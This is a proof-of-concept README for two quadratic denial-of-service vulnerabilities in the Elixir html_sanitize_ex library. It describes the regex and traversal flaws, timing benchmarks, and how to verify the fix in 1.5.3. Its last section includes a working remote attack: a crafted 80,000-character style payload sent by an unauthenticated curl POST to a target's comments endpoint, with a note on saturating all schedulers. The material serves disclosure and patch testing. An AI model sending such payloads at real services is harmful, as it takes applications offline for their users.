
PoC demonstrating quadratic DoS in Elixir html_sanitize_ex via crafted HTML; includes timing benchmarks, remote exploitation curl, and verification against patched versions.
Quadratic denial of service in html_sanitize_ex < 1.5.3.
The library exists to neutralise untrusted HTML, but two independent super-linear code paths let a single crafted request pin a BEAM scheduler for seconds. A handful of concurrent requests saturate the scheduler pool and the application stops responding. Impact is availability only (CVSS 8.2 High).
| CVE | Component | Weakness | Trigger |
|---|---|---|---|
| CVE-2026-68749 | HtmlSanitizeEx.Scrubber.CSS.scrub/1 | CWE-1333 (regex backtracking) | long <style> run of word chars with a trailing : |
| CVE-2026-68750 | HtmlSanitizeEx.Traverser.traverse/2 | CWE-407 (quadratic traversal) | flat run of allowed sibling tags (e.g. <b>a</b> × 20,000) |
CVE-2026-68749 is only reachable via
html5/1(or a custom scrubber extending:html5). CVE-2026-68750 sits on every public entry point, includingbasic_html/1,markdown_html/1, andstrip_tags/1.
mix.exs # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs # generates both payloads and times them
Requirements: Elixir ≥ 1.14 and an internet connection (to fetch the Hex dependency).
mix deps.get # fetches html_sanitize_ex 1.5.2
mix run poc.exs # runs both demos and prints timings
Expected on the vulnerable 1.5.2 build — the attack timings dwarf the benign ones. The shape is (illustrative; absolute values depend on hardware, but the two attack anchors come straight from the EEF CNA advisory):
=== html_sanitize_ex 1.5.2 ===
CVE-2026-68749 — CSS scrubber (html5/1), 80000 chars of 'a'
benign (…a!): ~ milliseconds (returns near-instantly)
attack (…a!:): ~ 2.4 seconds (thousands of x slower)
diff is a single ':' character
CVE-2026-68750 — traverser (basic_html/1), <b>a</b> siblings
2,000 siblings: ~ milliseconds
20,000 siblings: ~ 1.7 seconds (10x input -> far more than 10x work)
ratio > 10 reveals super-linear growth
The point is the ratio: the attack is orders of magnitude slower than a benign
input of comparable size, and 10× the input costs far more than 10× the work. The
2.4 s (80 KB <style>) and 1.7 s (20,000 siblings) figures are quoted from the
upstream advisories.
Edit mix.exs and bump the pinned version to the patched release:
@vulnerable_version "1.5.3" # or later — 1.5.3 contains both fixes
Then re-run:
mix deps.update html_sanitize_ex
mix run poc.exs
On 1.5.3 the benign and attack timings collapse to the same order of magnitude, because the fix bounds the regex group ([-\w]+ → [-\w]{1,64}) and rewrites the traverser to a single Enum.reduce + one List.flatten/1 (O(n²) → O(n)).
In a real Phoenix app these calls happen wherever the server sanitises user-supplied rich text. The attacker just POSTs the payload as the field value — no auth required:
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://target.example.com/comments \
--data-urlencode "body=$PAYLOAD"
Eight concurrent requests like that pin all eight BEAM schedulers on an 8-core host.
For educational / authorised testing only.